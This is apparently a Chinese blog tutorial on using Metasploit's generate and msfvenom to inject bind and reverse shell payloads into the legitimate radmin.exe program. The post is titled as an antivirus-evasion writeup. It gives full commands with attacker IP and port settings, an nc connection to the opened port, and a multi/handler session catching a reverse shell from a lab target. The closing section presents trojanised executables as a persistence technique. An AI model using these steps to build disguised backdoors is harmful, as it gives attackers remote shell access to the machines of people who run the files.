记一次payload绕过电脑管家免杀

一、msf命令提示符下generate命令生成

1、首先可以使用show payloads命令查看所有的payload,然后使用use命令选中其中一个。

msf5 > show payloads

Payloads

2、使用generate -h查看命令帮助

msf5 payload(windows/shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload. Datastore options may be supplied after normal options.

Example: generate -f python LHOST=127.0.0.1

OPTIONS:

    -E        Force encoding
    -O <opt>  Deprecated: alias for the '-o' option
    -P <opt>  Total desired payload size, auto-produce appropriate NOP sled length
    -S <opt>  The new section name to use when generating (large) Windows binaries
    -b <opt>  The list of characters to avoid example: '\x00\xff'
    -e <opt>  The encoder to use
    -f <opt>  Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
    -h        Show this message
    -i <opt>  The number of times to encode the payload
    -k        Preserve the template behavior and inject the payload as a new thread
    -n <opt>  Prepend a nopsled of [length] size on to the payload
    -o <opt>  The output file name (otherwise stdout)
    -p <opt>  The platform of the payload
    -v        Verbose output (display stage in addition to stager)
    -x <opt>  Specify a custom executable file to use as a template

generate常用选项解释:
-b 去掉坏字符,例如:-b ‘\x00\xff’
-e 设置编码方式,可以使用show encoders命令查看所有编码方式
-f 输出格式,不设置默认为ruby语言。例如-f c或-f exe
-i 设置编码次数,一般用作多次编码免杀
-k 保持源模版行为,并将payload作为一个线程注入到一个进程中,常和-x配合使用
-o 输出文件名
-x 定义一个文件作为模版
3、generate命令生成windows/shell_bind_tcp的payload,并注入到radmin程序中

msf5 payload(windows/shell_bind_tcp) > generate -k -x /usr/share/windows-binaries/radmin.exe -f exe -o rradin.exe
[*] Writing 1319424 bytes to rradin.exe...

    1
    2

4、生成payload,在靶机打开rradmin.exe后,指定的4444端口被打开,远程使用nc连接如下图

luredeMacBook-Pro:~ lure$ nc 10.10.10.166 4444
Microsoft Windows [�汾 6.1.7601]

    6
    7
    8
    9

5、有坑注意。msf的payload中有windows/shell/bind_tcp和windows/shell_bind_tcp,其为两个作者所做,经过测试,在使用nc连接windows/shell/bind_tcp生成的payload时,会产生连接成功,但无返回数据的bug。
二、kali下使用msfvenom命令生成

1、使用–list payloads选项查看所有payload

root@kali2020:~# msfvenom --list payloads

Framework Payloads (562 total) [--payload <value>]
==================================================

    Name                                                Description
    ----                                                -----------
    aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                             Spawn a shell on an established connection
    aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell
    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP

2、使用–list-options查看可用参数

root@kali2020:~# msfvenom -p windows/shell_reverse_tcp --list-options
Options for payload/windows/shell_reverse_tcp:
=========================


       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86

Basic options:

----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)

3、使用msfvenom生成payload并注入到radmin进程中

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.136 LPORT=9876 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o r2admin.exe

    1

root@kali2020:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.136 LPORT=9876 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o r2admin.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 1319424 bytes
Saved as: r2admin.exe

    1
    2
    3
    4
    5
    6
    7

4、靶机运行r2admin,并在攻击机用msfconsole接收反弹shell

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.10.136
lhost => 10.10.10.136
msf5 exploit(multi/handler) > set lport 9876
lport => 9876
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.10.136:9876
[*] Command shell session 1 opened (10.10.10.136:9876 -> 10.10.10.166:50097) at 2020-07-15 23:45:36 -0400

三、小结

msfconsole下的generate与msfvomen命令实际是不同环境下的同一个命令,其功能基本相同,这里我们要学习的重点是使用-k -x 选项将payload注入到可以执行文件exe中,这项技能在实战中后渗透测试的可持久化中经常会被用到。
